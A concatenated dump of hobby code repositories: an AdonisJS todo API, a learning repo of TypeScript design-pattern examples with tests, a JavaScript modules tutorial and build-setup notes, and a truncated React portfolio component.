982a92d4e3b41f4d5c14952a6097d757abb9d449
47aabd55efccf72624740e86b33c93b07d886017
refs/heads/main
<file_sep>import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext' import { schema, rules } from '@ioc:Adonis/Core/Validator' import User from 'App/Models/User' export default class AuthController { async register({request, response}:HttpContextContract) { const validations = schema.create({ email: schema.string({}, [ rules.email() rules.unique({table: 'users', column: 'email'}) ]), password: schema.string({}, [ rules.confirmed() ]) }) const data = await request.validate({schema:validations}) const user = await User.create(data) return response.created(user) } async login({request, auth}: HttpContextContract) { const email = request.input('email') const password = request.input('password') const token = await auth.attempt(email, password) return token.toJSON() } async logout({response, auth}: HttpContextContract) { await auth.logout() return response.json({ "logout": true }) } } <file_sep>import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext' import Todo from "App/Models/Todo"; export default class TodosController { async index({request}) { // const page = request.input('page', 1) // const limit = request.input('per_page', 2) // const todos = Todo.query().paginate(page, limit) const todos = await Todo.all() return todos.map(todo => todo.serialize({fields: ['id', 'title','is_completed']})) } async store({request, response}: HttpContextContract) { Todo.create({title:request.input('title'),is_completed:0}) return response.status(201).json({'created':true}) } async update({request,response,params}: HttpContextContract) { const todo = await Todo.findOrFail(params.id) todo.is_completed = request.input('is_completed') todo.save() return response.status(200).send(todo) } async destroy({response, params}: HttpContextContract) { const todo = await Todo.findOrFail(params.id) todo.delete() return response.status(200).json({'deleted':true}) } } <file_sep>import Route from '@ioc:Adonis/Core/Route' Route.get('/', 'HomeController.index') // Route.group(()=>{ // Route.group(()=>{ // }).middleware('auth') // Route.post('/register', 'AuthController.register') // Route.post('/login', 'AuthController.login') // Route.get('/logout', 'AuthController.logout') // }).prefix('api') Route.get('todo', 'TodosController.index') Route.post('todo', 'TodosController.store') Route.put('todo/:id', 'TodosController.update') Route.delete('todo/:id', 'TodosController.destroy') <file_sep>// import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext' export default class HomeController { async index() { return {hello:"Hello API"} } }
abbb58a57606134053137ba6fa29ef1352bec098
[ "TypeScript" ]
4
TypeScript
nomanabdullah-dev/adonis-api
112d3ddf30d66ced360ae63e899b694aa31031b3
e956e9a5c27e0835174a5d85591746e35770692e
refs/heads/master
<repo_name>AndreyKogut/pd<file_sep>/src/core/constructor-overloading/arguments-interface.ts interface Arguments { a: number; set1: { a: number, b: number }, set2: { a: number, b: string }, } export class ConstructorOverloading { a: number; b: number; sum: number; constructor(args: Partial<Arguments>) { if ('a' in args) { this.a = args.a; this.b = args.a; return; } if ('set1' in args) { Object.assign(this, args.set1); return; } if ('set2' in args) { this.a = args.set2.a; this.b = +args.set2.b; } } } <file_sep>/src/patterns/visitor/hero.visitor.ts import { Eat } from './eat'; import { Sleep } from './sleep'; import { Train } from './train'; export abstract class HeroVisitor { constructor( public heals: number = 100, ) {} abstract eat(data: Eat): void; abstract sleep(data: Sleep): void; abstract train(train: Train): void; } <file_sep>/src/patterns/decorator/decorator.spec.ts import { OpticDecorator } from './optic-decorator'; import { Pistol } from './pistol'; import { SuppressorDecorator } from './suppressor-decorator'; describe('Decorator', () => { test('Sould create pistol', () => { const glock = new Pistol('Glock', 10); expect(glock).toBeInstanceOf(Pistol); expect(glock.getDestription()).toEqual('Glock'); expect(glock.getUtilitiPoints()).toEqual(10); }); test('Should create pistol with suppressor', () => { const glock = new Pistol('Glock', 10); const glockWithSuppressor = new SuppressorDecorator(glock); expect(glockWithSuppressor.getDestription()).toEqual('Glock, has suppressor'); expect(glockWithSuppressor.getUtilitiPoints()).toEqual(15); }); test('Should create pistol with suppressor and optics', () => { const glock = new Pistol('Glock', 10); const glockWithSuppressor = new SuppressorDecorator(glock); const glockWithOptics = new OpticDecorator(glockWithSuppressor); expect(glockWithOptics.getDestription()).toEqual('Glock, has suppressor, has optic'); expect(glockWithOptics.getUtilitiPoints()).toEqual(22); }); }); <file_sep>/src/modules/systemjs/log.js function log(text) { console.log(text); } System.register([], function (_export, _context) { var dep; return { setters: [function (_dep) { dep = _dep; }], execute: function () { _export({ log }); } }; }); <file_sep>/src/patterns/visitor/sleep.ts import { AbilityModel } from './ability.model'; import { HeroVisitor } from './hero.visitor'; export class Sleep implements AbilityModel { constructor( public time: number, ) {} accept(heroVisitor: HeroVisitor): void { heroVisitor.sleep(this); } } <file_sep>/src/patterns/decorator/optic-decorator.ts import { Weapon, WeaponDecorator } from './weapon'; export class OpticDecorator extends WeaponDecorator { constructor( weapon: Weapon, ) { super(weapon); } getDestription(): string { return `${this.weapon.getDestription()}, has optic`; } getUtilitiPoints(): number { return this.weapon.getUtilitiPoints() + 7; } } <file_sep>/src/app-config-boilerplate/README.md [< Back to root](../../readme.md) # Project setup * `npm init` to setup package.json file. * Run `npm i -g webpack-cli` to install webpack cli. * `npm webpack-cli init` to setup webpack configuration and generate boilarplate. <img src="./assets/doc/webpack-cli-init.png" width="700" /> * Add output folder to .gitignore (*dist* is a default name) # Setup babel * Install packages ``` npm install --save-dev babel-loader @babel/core @babel/cli @babel/preset-env ``` * Change webpack.config rule for ts files in order to use babel. Change `loader: "ts-loader"` to `use: ["babel-loader", "ts-loader"]` (Loaders are executing from right to left) or just `loader: "babel-loader"` for [babel@7+](https://devblogs.microsoft.com/typescript/typescript-and-babel-7/). Add `options: { babelrc: true }` to use .babelrc file for configuration. * Add **.babelrc** file to configure babel. * Set [*targets*](https://babeljs.io/docs/en/options#targets) prop to set browser targeted (When no targets are specified: Babel will assume you are targeting the oldest browsers possible) This can either be a [browserslist-compatible](https://github.com/browserslist/browserslist) query: ``` { "targets": "> 0.25%, not dead" } ``` or an object of minimum environment versions to support: ``` { "targets": { "chrome": "58", "ie": "11" } } ``` Example environments: chrome, opera, edge, firefox, safari, ie, ios, android, node, electron. * Add `"presets": ["@babel/preset-env"]` to use [latest syntax and polifils](https://babeljs.io/docs/en/babel-preset-env). # Code formatting * Install Eslint ``` npm install eslint --save-dev ``` * Init eslint running ``` npx eslint --init ``` <img src="./assets/doc/eslint-init.png" width="700" /> * Install prettier and [eslint-config-prettier](https://github.com/prettier/eslint-plugin-prettier) to align prettier and eslint rules. ``` npm install eslint-config-prettier prettier --save-dev ``` * Add *plugin:prettier/recommended* as the last extension in your .eslintrc ``` "extends": [ "eslint:recommended", "plugin:@typescript-eslint/recommended", "plugin:prettier/recommended" ] ``` * Create [.prettierrc](https://prettier.io/docs/en/configuration.html) config Example: ``` { "trailingComma": "es5", "tabWidth": 2, "semi": true, "singleQuote": true } ``` # Precommit hook * Install husky and lint-staged ``` npm install --save-dev husky lint-staged npx husky install npm set-script prepare "husky install" npx husky add .husky/pre-commit "npx lint-staged" ``` * Add the following to your package.json ``` { "lint-staged": { "**/*": "prettier --write --ignore-unknown" } } ``` ** Simpler option could be `npx mrm lint-staged`. [More options](https://prettier.io/docs/en/precommit.html)<file_sep>/src/rxjs/schedulers/readme.md [< Back to root](../../../readme.md) # Scheduler > A scheduler controls when a subscription starts and when notifications are delivered. It knows how to store and queue tasks based on priority or other criteria. Static creation operators usually take a Scheduler as argument. For instance, from(array, scheduler) lets you specify the Scheduler to use when delivering each notification converted from the array. It is usually the last argument to the operator. Use subscribeOn to schedule in what context will the subscribe() call happen. Use observeOn to schedule in what context will notifications be delivered. Scheduler Types: * null By not passing any scheduler, notifications are delivered synchronously and recursively. * queueScheduler Schedules on a queue in the current event frame. * asapScheduler Schedules on the micro task queue, which is the same queue used for promises. Basically after the current job, but before the next job. * asyncScheduler Schedules work with setInterval. * animationFrameScheduler Schedules task that will happen just before next browser content repaint. <file_sep>/src/angular/src/app/wizard/modules/step-two/step-two.component.ts import { Component, forwardRef } from '@angular/core'; import { WizardStepService } from '../../services/wizard-step.service'; @Component({ selector: 'step-two', templateUrl: './step-two.component.html', styleUrls: ['./step-two.component.scss'], providers: [ { provide: WizardStepService, useExisting: forwardRef(() => StepTwoComponent), } ] }) export class StepTwoComponent implements WizardStepService { open() { console.log('show step two'); } close() { console.log('close step two'); } } <file_sep>/readme.md ## Cookbook * [App config boilerplate](./src/app-config-boilerplate/README.md) * [Modules](./src/modules/modules.md) * [Angular](./src/angular/README.md) ## Core * Constructor overloading ## RxJs * [Scheduler](./src/rxjs/schedulers/readme.md) ## Patterns * Singleton * Builder * Decorator * Observer * Visitor<file_sep>/src/patterns/observer/game-store.ts import { GameStoreSubscriber } from './game-store-subscriber'; export class GameStore { private discontSubscribers: GameStoreSubscriber[] = []; discountSubscribe(subscriber: GameStoreSubscriber): void { this.discontSubscribers.push(subscriber); } discountUnsubscribe(subscriber: GameStoreSubscriber): void { this.discontSubscribers = this.discontSubscribers.filter((item) => item !== subscriber); } getDiscountSubscribersCount(): number { return this.discontSubscribers.length; } discountNotify(game: string, discount: number): void { this.discontSubscribers.forEach(item => item.handle({ game, discount })); } } <file_sep>/src/patterns/singletone/singletone.ts export class Singletone { private static currentValue: Singletone; private constructor() {} static getInstance(): Singletone { if (Singletone.currentValue) { return Singletone.currentValue; } Singletone.currentValue = new Singletone(); return Singletone.currentValue; } } <file_sep>/src/patterns/visitor/second-hero.visitor.ts import { Eat } from './eat'; import { HeroVisitor } from './hero.visitor'; import { Sleep } from './sleep'; import { Train } from './train'; export class SecondHeroVisitor extends HeroVisitor { eat(data: Eat): void { this.heals = this.heals + (data.amountIndex * 3); } sleep(data: Sleep): void { this.heals = this.heals + (data.time * .7); } train(train: Train): void { this.heals = this.heals - (train.time * .3); } } <file_sep>/src/core/constructor-overloading/static-factory-methods.ts export class ConstructorOverloading { static fromOneArg(a: number): ConstructorOverloading { return new ConstructorOverloading(a, a); } static fromCustomArgs(a: number, b: string): ConstructorOverloading { return new ConstructorOverloading(a, +b); } constructor(public a: number, public b: number) {} } <file_sep>/src/core/constructor-overloading/proxy-classes.ts export interface ConstructorOverloadingModel { a: number; b: number; } export class ConstructorOverloading implements ConstructorOverloadingModel { constructor(public a: number, public b: number) {} } export class OneArgCO implements ConstructorOverloadingModel { a: number; b: number; constructor(a: number) { this.a = a; this.b = a; } } export class CustomArgsCO implements ConstructorOverloadingModel { a: number; b: number; constructor(a: number, b: string) { this.a = a; this.b = +b; } } <file_sep>/src/modules/systemjs/greet.js System.import('./log.js').then((module) => { module.log('Hello'); System.import('./styles.css').then(module => console.log(module.default)); System.import('./json.json').then(module => console.log(module.default)); });<file_sep>/src/patterns/builder/builder.ts import { Entity } from './entity'; export class Builder { private entity: Entity; constructor() { this.createEmpty(); } initData(value: number): Builder { const entity = this.getInstance(); entity.prop1 = value > 3 ? 'Grater' : 'Less'; return this; } generateId(): Builder { const entity = this.getInstance(); entity.prop2 = Math.random(); return this; } getInstance(): Entity { return this.entity; } private createEmpty(): void { this.entity = new Entity(); } } <file_sep>/src/patterns/visitor/ability.model.ts import { HeroVisitor } from './hero.visitor'; export interface AbilityModel { accept(heroVisitor: HeroVisitor): void; } <file_sep>/src/patterns/decorator/pistol.ts import { Weapon } from './weapon'; export class Pistol extends Weapon { constructor( description: string, utilitiPoints: number, ) { super(utilitiPoints, description); } } <file_sep>/src/patterns/decorator/suppressor-decorator.ts import { Weapon, WeaponDecorator } from './weapon'; export class SuppressorDecorator extends WeaponDecorator { constructor( weapon: Weapon, ) { super(weapon); } getDestription(): string { return `${this.weapon.getDestription()}, has suppressor`; } getUtilitiPoints(): number { return this.weapon.getUtilitiPoints() + 5; } } <file_sep>/src/patterns/singletone/singletone.spec.ts import { Singletone } from './singletone'; describe('Singletone', () => { test('Should create an object', () => { const singletone = Singletone.getInstance(); expect(singletone).toBeInstanceOf(Singletone); }); test('Should have only one instance', () => { const singletone = Singletone.getInstance(); const newSingletoneInstance = Singletone.getInstance(); expect(singletone).toBe(newSingletoneInstance); }); }); <file_sep>/src/patterns/builder/builder.spec.ts import { Builder } from './builder'; import { Entity } from './entity'; describe('Builder', () => { let builder: Builder; beforeEach(() => { builder = new Builder(); }); test('Sould create builder', () => { const builder = new Builder(); const instance = builder.getInstance(); expect(instance).toBeInstanceOf(Entity); }); test('Sould update prop1', () => { const builderPropInitial = builder.getInstance().prop1; builder.initData(3); const builderUpdatedValue = builder.getInstance().prop1; expect(builderPropInitial).not.toBe(builderUpdatedValue); }); test('Sould update prop2', () => { const builderPropInitial = builder.getInstance().prop2; builder.generateId(); const builderUpdatedValue = builder.getInstance().prop2; expect(builderPropInitial).not.toBe(builderUpdatedValue); }); }); <file_sep>/src/modules/modules.md [< Back to root](../../readme.md) # Modules *Module it's a file with own scope that contains some functionality and is able to export it as well as import something from other modules.* ## Before Pre es6 moduling could be acheaved by using [IIFE](https://developer.mozilla.org/en-US/docs/Glossary/IIFE) and Module or Revealing module patterns. * Module pattern ```js var modulePattern = (function() { var counter = 0; function inc() { counter++; } function dec() { counter--; } return { incCounter() { inc(); }, decCounter() { dec(); }, getCounter() { return counter; } } })() ``` * Revealing module pattern. Like Module pattern but we do not create separate functions and just return function refs. ```js var revealingModulePattern = (function() { var counter = 0; function inc() { counter++; } function dec() { counter--; } return { inc, dec, getCounter() { return counter; } } })() ``` We can access these variables via global scope, but variables and functions declared inside those modules are not visible outside and do not make any name collisions. ```html <body> <script src="./module-pattern.js"></script> <script src="./revealing-module-pattern.js"></script> <script> console.log(modulePattern.getCounter()); // 0 console.log(revealingModulePattern.getCounter()); // 0 </script> </body> ``` We should take into account that if we have a few scripts next to one another, a browser loads a first one then runs it, and then go to another one until all scripts are loaded and then render the rest of the page. So we need to keep all scripts at the very bottom of the page and also we need to keep the right order because if we use a variable from a script below the current one we will get a Reference error because it's not loaded yet. To prevent blocking rendering when a script is processing we can use *async/defer* attributes. #### Async: * Do not block rendering. * Scripts fire right after they are loaded. ```html // Using <script async src="./module-pattern.js"></script> <script async src="./revealing-module-pattern.js"></script> ``` #### Defer: * Do not block rendering. * All scripts with *defer* are processed in the same order as they are on the page. * Tells the browser that script is meant to be executed after the document has been parsed, but before firing [DOMContentLoaded](https://developer.mozilla.org/en-US/docs/Web/API/Window/DOMContentLoaded_event). ```html // Using <script defer src="./module-pattern.js"></script> <!-- Fires first --> <script defer src="./revealing-module-pattern.js"></script> <!-- Fires second --> <script async src="**ANY**"></script> <!-- Fires right after loaded --> ``` ## Module formats * CommonJS. The CommonJS module format is the standard used in Node.js for working with modules. We can use *require* keyword to import some module and *module/exports* variables to export data. In node environment it's achieved by wrapping every module with special wrapper. ```js (function(exports, require, module, __filename, __dirname) { // ... Module code ... return module.exports }).call(thisValue, exports, require, module, filename, dirname) ``` Expample: ```js const log = require('./log.js'); const greet = () => { log('Hello'); } greet(); module.exports = { greet, }; ``` * Asynchronous Module Definition - AMD. Made by part of CommonJS team to support asynchronous module loading. This is the module system used by [RequireJS](https://requirejs.org/) and that is working client-side. ```js define('amdCounterModule', ['dependencyModule1', 'dependencyModule2'], (dependencyModule1, dependencyModule2) => { let count = 0 const increase = () => ++count const reset = () => { count = 0 } return { increase, reset } }) ``` ```js require(['amdCounterModule'], amdCounterModule => { amdCounterModule.increase() amdCounterModule.reset() }) ``` * Universal Module Definition (UMD). It is based on AMD but with some special cases included to handle CommonJS compatibility. Check [templates](https://github.com/umdjs/umd/tree/master/templates) for details. * [System.register](https://github.com/systemjs/systemjs/blob/HEAD/docs/system-register.md#format-definition) For older browsers that do not support ES Modules natively and enables extra features like await, dynamic import, circular references and live bindings, import.meta.url, module types, import maps, integrity and Content Security Policy. Module wrapper takes the following [structure](https://github.com/systemjs/systemjs/blob/HEAD/docs/system-register.md#format-definition): ```js System.register([], function (_export, _context) { return { setters: [], execute: function () { } }; }); ``` > Note as of SystemJS 2.0 support for named System.register(name, deps, declare) is no longer supported, as instead code optimization approaches that combine modules like with Rollup's code-splitting workflows are recommended instead. Exapmple: log.js: ```js function log(text) { console.log(text); } System.register([], function (_export, _context) { var dep; return { setters: [function (_dep) { dep = _dep; }], execute: function () { _export({ log }); } }; }); ``` greet.js ```js System.import('./log.js').then((module) => { module.log('Hello'); // It is possible to import css and json as well System.import('./styles.css').then(module => console.log(module.default)); System.import('./json.json').then(module => console.log(module.default)); }); ``` Html: ```html <script src="node_modules/systemjs/dist/system.min.js"></script> <script type="systemjs-module" src="./greet.js"></script> ``` Output: <img src="../../assets/systemjs-example-output.png" width="700" /> ## Now ES Modules was introduced in 2015 in ES6 and is also known for [import/export syntax](https://javascript.info/import-export). Example: log.js ```js export const log = (text) => { console.log(text); } ``` greet.js ```js import { log } from './log.js'; export const greet = () => { log('Hello'); } greet(); ``` index.html ```html <body> <script type="module" src="./greet.js"></script> <!-- But we can omit this import as we have referrance in *greet.js* --> <!-- * Can be useful from performance perspective --> <script type="module" src="./log.js"></script> </body> <!-- => Hello --> ``` ### ES Modules vs regular scripts (*[Loading priorities](https://addyosmani.com/blog/script-priorities/)*) * ES Modules have own scope(not global). * No **this**. (In regular browser's script **this** = window*, but in ES Modules it's **undefined**) * Use import/export syntax to access ather modules. * Always "use strict". * Code of the module runs when a first time imported. * **import.meta** contains information about current module. // Body ```html <script type="module">console.log(import.meta)</script> <!-- => {url: 'http://1172.16.58.3:5500/src/modules/es-modules/index.html'} --> ``` * Acts like **defer** by default. * Module with src loads only once. * Loading scripts from other domains require CORS configuration on the requested domain. * Use **nomodule** attribute to run some script in older browsers. ## Module loaders and bundlers > CJS, AMD, UMD is just module formats, you still need to include everything in your html. To be able to have only one entry file (or several app entries if needed) we can use module loaders or module bundlers. Module loaders to import modules at runtime and bundlers mostly used to include them to the bundle (loading at runtime is available). Module loaders: * [RequireJS](https://requirejs.org/) Loading AMD modules. * [SystemJS](https://www.npmjs.com/package/systemjs) Loading AMD, CJS, UMD modules. * ES Modules Use "script" tag with type="module" property and browser will use native loader. Module bundlers: gulp, webpack, browserify, rollup; > Can be used to combine multiple module formats. ## Typescript TypeScript supports all JavaScript syntax, including the ES6 [module](https://www.typescriptlang.org/docs/handbook/modules.html) syntax. When TypeScript transpiles, the ES module code can either be kept as ES6, or transpiled to other formats, including CommonJS/Node.js, AMD/RequireJS, UMD/UmdJS, or System/SystemJS, according to the specified transpiler options in tsconfig.json ## ES dynamic module: ECMAScript 2020, or ES11 dynamic module In 2020, the latest JavaScript spec version 11 is introducing a built-in function import to consume an ES module dynamically. The import function returns a promise, so its then method can be called to consume the module: ```js // Use dynamic ES module with promise APIs, import from named export: import("./esCounterModule.js").then(({ increase, reset }) => { increase(); reset(); }); // Or import from default export: import("./esCounterModule.js").then(dynamicESCounterModule => { dynamicESCounterModule.increase(); dynamicESCounterModule.reset(); }); ``` By returning a promise, apparently, import function can also work with the await keyword: ```js // Use dynamic ES module with async/await. (async () => { // Import from named export: const { increase, reset } = await import("./esCounterModule.js"); increase(); reset(); // Or import from default export: const dynamicESCounterModule = await import("./esCounterModule.js"); dynamicESCounterModule.increase(); dynamicESCounterModule.reset(); })(); ``` --- SystemJS also provides an import function for dynamic import: ```js // Use SystemJS module with promise APIs. System.import("./esCounterModule.js").then(dynamicESCounterModule => { dynamicESCounterModule.increase(); dynamicESCounterModule.reset(); }); ```<file_sep>/src/patterns/observer/game-store-subscriber.ts import { DiscountNotification } from './discount-notification'; export abstract class GameStoreSubscriber { abstract handle(info: DiscountNotification): void; } <file_sep>/src/angular/src/app/wizard/modules/wizard/wizard.component.ts import { AfterViewInit, Component, ContentChildren, QueryList } from '@angular/core'; import { WizardAnchorDirective } from '../../directives/wizard-anchor.directive'; import { WizardStepService } from '../../services/wizard-step.service'; @Component({ selector: 'wizard', templateUrl: './wizard.component.html', styleUrls: ['./wizard.component.scss'] }) export class WizardComponent implements AfterViewInit { activeStep?: number = 0; @ContentChildren(WizardAnchorDirective, { read: WizardStepService }) wizardStepServices?: QueryList<WizardStepService>; ngAfterViewInit(): void { const currentStep = this.wizardStepServices?.get(0); if (currentStep) { this.activeStep = 0; currentStep.open(); } } prevStep() { this.closeCurrentStep(); this.openNewStep((this.activeStep || 0) - 1); } nextStep() { this.closeCurrentStep(); this.openNewStep((this.activeStep || 0) + 1); } private openNewStep(num: number): void { this.activeStep = num; const item = this.wizardStepServices?.get(this.activeStep); item?.open(); } private closeCurrentStep(): void { if (this.activeStep != undefined) { const item = this.wizardStepServices?.get(this.activeStep); item?.close(); } } } <file_sep>/src/patterns/observer/discount-notification.ts export interface DiscountNotification { game: string; discount: number; } <file_sep>/src/angular/src/app/wizard/modules/step-one/step-one.component.ts import { Component, forwardRef } from '@angular/core'; import { WizardStepService } from '../../services/wizard-step.service'; @Component({ selector: 'step-one', templateUrl: './step-one.component.html', styleUrls: ['./step-one.component.scss'], providers: [ { provide: WizardStepService, useExisting: forwardRef(() => StepOneComponent), } ], }) export class StepOneComponent implements WizardStepService { open() { console.log('show step one'); } close() { console.log('close step one'); } } <file_sep>/src/angular/README.md [< Back to root](../../readme.md) ## Angular * [Wizard](https://www.youtube.com/watch?v=EoSn8qASqQA&t=1458s) <file_sep>/src/patterns/visitor/visitor.spec.ts import { Eat } from './eat'; import { FirstHeroVisitor } from './first-hero.visitor'; import { SecondHeroVisitor } from './second-hero.visitor'; import { Sleep } from './sleep'; import { Train } from './train'; describe('Visitor', () => { const baseHeals = 100; let firstHeroVisitor: FirstHeroVisitor; let secondHeroVisitor: SecondHeroVisitor; let eat: Eat; let sleep: Sleep; let train: Train; beforeEach(() => { firstHeroVisitor = new FirstHeroVisitor(baseHeals); secondHeroVisitor = new SecondHeroVisitor(baseHeals); eat = new Eat(10); sleep = new Sleep(10); train = new Train(10); }); test('Should create visitors and abilities', () => { expect(firstHeroVisitor).toBeInstanceOf(FirstHeroVisitor); expect(secondHeroVisitor).toBeInstanceOf(SecondHeroVisitor); expect(eat).toBeInstanceOf(Eat); expect(sleep).toBeInstanceOf(Sleep); expect(train).toBeInstanceOf(Train); }); test('Eat ability accepts any visitor', () => { eat.accept(firstHeroVisitor); eat.accept(secondHeroVisitor); expect(firstHeroVisitor.heals).toBe(120); expect(secondHeroVisitor.heals).toBe(130); }); test('Sleep ability accepts any visitor', () => { sleep.accept(firstHeroVisitor); sleep.accept(secondHeroVisitor); expect(firstHeroVisitor.heals).toBe(105); expect(secondHeroVisitor.heals).toBe(107); }); test('Train ability accepts any visitor', () => { train.accept(firstHeroVisitor); train.accept(secondHeroVisitor); expect(firstHeroVisitor.heals).toBe(99); expect(secondHeroVisitor.heals).toBe(97); }); }); <file_sep>/src/patterns/observer/observer.spec.ts import { DiscountNotification } from './discount-notification'; import { DiscountSubscriber } from './discount-subscriber'; import { GameStore } from './game-store'; describe('Observer', () => { test('Sould create game store and discount subscription', () => { const gameStore = new GameStore(); const discountSubscriber = new DiscountSubscriber(() => {}); expect(gameStore).toBeInstanceOf(GameStore); expect(discountSubscriber).toBeInstanceOf(DiscountSubscriber); }); test('Sould be possible to subscribe to message', () => { const gameStore = new GameStore(); const discountSubscriberFirst = new DiscountSubscriber(() => {}); const discountSubscriberSecond = new DiscountSubscriber(() => {}); expect(gameStore.getDiscountSubscribersCount()).toEqual(0); gameStore.discountSubscribe(discountSubscriberFirst); gameStore.discountSubscribe(discountSubscriberSecond); expect(gameStore.getDiscountSubscribersCount()).toEqual(2); }); test('Sould be possible to unsubscribe from message', () => { const gameStore = new GameStore(); const discountSubscriber = new DiscountSubscriber(() => {}); expect(gameStore.getDiscountSubscribersCount()).toEqual(0); gameStore.discountSubscribe(discountSubscriber); expect(gameStore.getDiscountSubscribersCount()).toEqual(1); gameStore.discountUnsubscribe(discountSubscriber); expect(gameStore.getDiscountSubscribersCount()).toEqual(0); }); test('Only active subscribers are notified', () => { const gameStore = new GameStore(); let firstSubscriberEvent: DiscountNotification; const discountSubscriberFirst = new DiscountSubscriber((event) => { firstSubscriberEvent = event; }); let secondSubscriberEvent: DiscountNotification; const discountSubscriberSecond = new DiscountSubscriber((event) => { secondSubscriberEvent = event; }); gameStore.discountSubscribe(discountSubscriberFirst); gameStore.discountSubscribe(discountSubscriberSecond); expect(gameStore.getDiscountSubscribersCount()).toEqual(2); gameStore.discountUnsubscribe(discountSubscriberSecond); const gameName = 'Any game: first'; const gameDiscount = .2; gameStore.discountNotify(gameName, gameDiscount); expect(secondSubscriberEvent).toBeUndefined(); expect(firstSubscriberEvent).not.toBeUndefined(); expect(firstSubscriberEvent.game).toEqual(gameName); expect(firstSubscriberEvent.discount).toEqual(gameDiscount); }); }); <file_sep>/src/angular/src/app/wizard/directives/wizard-anchor.directive.spec.ts import { WizardAnchorDirective } from './wizard-anchor.directive'; describe('WizardAnchorDirective', () => { it('should create an instance', () => { const directive = new WizardAnchorDirective(); expect(directive).toBeTruthy(); }); }); <file_sep>/src/patterns/observer/discount-subscriber.ts import { DiscountNotification } from './discount-notification'; import { GameStoreSubscriber } from './game-store-subscriber'; export class DiscountSubscriber extends GameStoreSubscriber { constructor( private readonly listener: (notification: DiscountNotification) => void = () => {}, ) { super(); } handle(notification: DiscountNotification) { this.listener(notification); } } <file_sep>/src/app-config-boilerplate/src/index.ts const variacele = 3; <file_sep>/src/patterns/builder/entity.ts export class Entity { constructor( public prop1: string = '', public prop2: number = 0, ) {} } <file_sep>/src/patterns/decorator/weapon.ts abstract class Weapon { constructor( private readonly usbilityPoints: number, private readonly description: string, ) {} getDestription(): string { return this.description; }; getUtilitiPoints(): number { return this.usbilityPoints; }; } abstract class WeaponDecorator extends Weapon { constructor( protected readonly weapon: Weapon, ) { super(weapon.getUtilitiPoints(), weapon.getDestription()); } abstract getDestription(): string; abstract getUtilitiPoints(): number; } export { WeaponDecorator, Weapon, } <file_sep>/src/angular/src/app/wizard/modules/wizard-demo/wizard-demo.module.ts import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { RouterModule } from '@angular/router'; import { WizardModule } from '../wizard/wizard.module'; import { StepOneModule } from '../step-one/step-one.module'; import { StepTwoModule } from '../step-two/step-two.module'; import { WizardDemoComponent } from './wizard-demo.component'; @NgModule({ declarations: [ WizardDemoComponent, ], imports: [ CommonModule, RouterModule.forChild([{ path: '', component: WizardDemoComponent }]), WizardModule, StepOneModule, StepTwoModule, ], }) export class WizardDemoModule {} <file_sep>/src/core/constructor-overloading/multiple-type-signatures.ts export class ConstructorOverloading { a: number; b: number; sum: number; constructor(a: number); constructor(a: number, b: number); constructor(a: number, b: string); constructor(a: number, b?: string | number) { if (b === undefined) { this.a = a; this.b = a; return; } if (typeof b === 'string') { this.a = a; this.b = a + +this.b; } } } <file_sep>/src/angular/src/app/wizard/services/wizard-step.service.ts export abstract class WizardStepService { abstract open: () => void; abstract close: () => void; }
3ecd0889e54356aa48cdc88616d139dc1175e38c
[ "JavaScript", "TypeScript", "Markdown" ]
38
TypeScript
AndreyKogut/pd
d4dcb9915c00f6d730323e53cad68f6d44211815
061d106363d4f271b37121de5604a911684f873f
refs/heads/master
<repo_name>jimmyrichardson/portfolio<file_sep>/src/project.js import React, { Component } from 'react'; import { Link } from 'react-router-dom'; import { TimelineLite, Expo } from 'gsap'; /* * * TODO: Featured Image into ACF upnext API object * */ class Project extends Component { constructor(props){ super(props); this.tween = new TimelineLite({paused:true}); this.state = {projectData:[]} } componentWillMount(){ let getPage = 'http://localhost:8888/wp/wp-json/wp/v2/pages/?_embed&slug='+this.props.location.pathname; fetch(getPage) .then(result => result.json()) .then(result => { this.setState({ projectData: result }) }) .catch(error => console.error('Error:', error)) } componentWillReceiveProps(nextProps){ this.tween .set('html',{ overflow: 'hidden' }) .to('header',0.5,{ opacity: 0 }) .to('.container',0.5,{ opacity: 0 },'-=0.5') .set('.upnext h2',{ position: 'fixed' }) .add(function(){window.scrollTo(0,0)}) .to('.upnext h2',0.4,{ opacity: 0, ease: Expo.easeInOut }) .play() let getPage = 'http://localhost:8888/wp/wp-json/wp/v2/pages/?_embed&slug='+nextProps.location.pathname; fetch(getPage) .then(result => result.json()) .then(result => { this.setState({ projectData: result }) }) .then(result => { this.tween .set('.upnext h2',{ position: 'absolute', opacity: 0.12 }) .to('header',0.5,{ opacity: 1 }) .fromTo('article header .meta-title',0.3,{ y: 10, opacity: 0 },{ y: 0, opacity: 1, ease: Expo.easeOut }) .fromTo('.meta div',0.3,{ y: 10, opacity: 0 },{ y: 0, opacity: 1, ease: Expo.easeOut },'1.5') .to('.container',0.5,{ opacity: 1 },'-=0.5') .set('html',{ overflow: 'auto' }) }) .catch(error => console.error('Error:', error)) } handleScroll =()=> { var scroll = window.pageYOffset, bodyHeight = document.body.clientHeight, viewport = window.innerHeight; if( scroll === bodyHeight - viewport ){ this.props.history .push(this.state.projectData[0].acf.upnext.post_name) } } upnextpush =()=> { this.props.history.push(this.state.projectData[0].acf.upnext.post_name); } render(){ window.addEventListener('scroll',this.handleScroll); let pageContent = this.state.projectData.map((project,index)=>{ return( <article style={{opacity:1}} key={index}> <header> <h2 style={{color: project.acf.color, backgroundImage: 'url('+ project._embedded["wp:featuredmedia"][0] .media_details .sizes .full .source_url+')' }}>{project.title.rendered}</h2> <span className="meta-title">{project.title.rendered}</span> <div className="meta"> <div> <span>Timeline</span><br /> <span>{project.acf.timeline}</span> </div> <div> <span>Technologies</span><br /> <span>{project.acf.technologies}</span> </div> </div> </header> <div> <div className="container"> <div> <span>{project.acf.project_order}</span> </div> <div dangerouslySetInnerHTML={{ __html: project.content.rendered }} /> </div> <div className="upnext"> <p>Up next...</p> <h2 style={{color: project.acf.color}}>{project.acf.upnext.post_title}</h2> </div> </div> </article> ) }); return( <div>{pageContent}</div> ); } } export default Project;<file_sep>/src/nav.js import React, { Component } from 'react'; import { Link } from 'react-router-dom'; import { TimelineLite } from 'gsap'; /* * * TODO: Create const for REST path to trickle into all API call routing * */ class Nav extends Component { constructor(){ super(); this.state = {pagelist:[]} this.tween = new TimelineLite({paused:true}); } componentDidMount(){ let getAllPages = 'http://localhost:8888/wp/wp-json/wp/v2/pages/'; fetch(getAllPages) .then(result => result.json()) .then(result => { this.setState({ pagelist: result 